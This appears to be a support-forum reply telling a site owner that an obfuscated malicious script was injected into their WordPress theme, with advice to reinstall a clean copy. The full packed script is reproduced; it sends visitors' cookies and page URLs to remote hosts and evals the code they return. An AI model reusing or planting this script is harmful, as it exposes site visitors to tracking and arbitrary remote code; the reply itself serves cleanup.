Hello @PBridgnell,
I have investigated your issue further and it is a good thing that it created an error because I found out that this malicious JS code has been injected to your site:
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 58={\'25\':[\'//83.67\',\'//68.72\',\'77://5.82.62.81\'],\'41\':\'/76.75\',\'6\':\'66\',\'61\':37};19 52(){2 3;9{3=26 48("71.60")}11(13){9{3=26 48("80.60")}11(70){3=37}}7(!3&&74 49!=\'65\'){3=26 49()}27 3};19 24(28){2 6=" "+55.6;2 39=" "+28+"=";2 36=15;2 16=0;2 23=0;7(6.14>0){16=6.47(39);7(16!=-1){16+=39.14;23=6.47(";",16);7(23==-1){23=6.14}36=79(6.78(16,23))}}27(36)};19 22(28,54,30,33,35,43){55.6=28+"="+73(54)+((30)?"; 30="+30:"")+((33)?"; 33="+33:"")+((35)?"; 35="+35:"")+((43)?"; 43":"")};(19(8){2 20=24(8[\'6\']);7(20==15)20=0;2 32=24(8[\'6\']+\'69\');7(32==15)32=\'[]\';2 29=24(8[\'6\']+\'46\');7(29==15)29=\'[]\';2 40=\'84=\'+20.57()+\'&98=\'+38(51.102.103)+\'&104=\'+38(32)+\'&105=\'+38(29);2 21=0;2 53=8[\'25\'][21]+8[\'41\'];2 3=52();3.59(\'64\',53,42);3.107("101-108","109/110-111-112-113");3.114=19(){7(3.106==4){7(3.100!=85){++21;7(21>=8[\'25\'].14)27;99=42;3.59(\'64\',8[\'25\'][21]+8[\'41\'],42);3.50(40)}97{9{7(3.63.14==0)27;2 18=45.56(3.63);2 34=\'\';2 17=0;2 44=37;9{34=18[\'96\']}11(13){}9{17=18[\'95\']}11(13){}9{44=(18[\'94\']==1)}11(13){}8[\'61\']=44;7(34.14>0){2 12=26 93();12.92(12.91()+1);7(17>0){22(8[\'6\']+\'90\',17.57(),12.31())}9{22(8[\'6\']+\'89\',18[\'88\'],12.31())}11(13){}7(20==0){22(8[\'6\'],\'1\',12.31())}2 10=15;9{10=45.56(24(8[\'6\']+\'46\'))}11(13){}7(10==15)10=[];7(10.47(17)==-1)10[10.14]=1*17;22(8[\'6\']+\'46\',45.87(10),12.31());51.86(34)}}11(13){}}}};3.50(40)})(58);',10,115,'||var|xmlhttp|||cookie|if|vAdsObj|try|vM|catch|vDate|e|length|null|offset|iT|Response|function|iStatus|iUrlInd|setCookie|end|getCookie|url|new|return|name|sMS|expires|toUTCString|sMA|path|sCode|domain|setStr|false|encodeURIComponent|search|sPayload|gate|true|secure|bM|JSON|_ms|indexOf|ActiveXObject|XMLHttpRequest|send|window|getXmlHttp|sUrl|value|document|parse|toString|vXAdsObj|open|XMLHTTP|mobile||responseText|POST|undefined|xads_platf|at|uads|_ma|E|Msxml2|shop|escape|typeof|php|g|http|substring|unescape|Microsoft|157|188|myownshop|s|200|eval|stringify|fp|_fp|_t|getFullYear|setYear|Date|m|t|c|else|u|bByIp|status|Content|location|href|ma|ms|readyState|setRequestHeader|type|application|x|www|form|urlencoded|onreadystatechange'.split('|'),0,{}))
</script>
If you are not the one who did this, please log in to your FTP and delete the Pro theme. You will need to install a fresh copy instead. Kindly check out this documentation:
By the way, I also removed the JS code. The issue should be resolved now. Just to be just to be sure that other files were also not affected or had been infected, you will have to perform a manual update to overwrite the theme files.
Best Regards.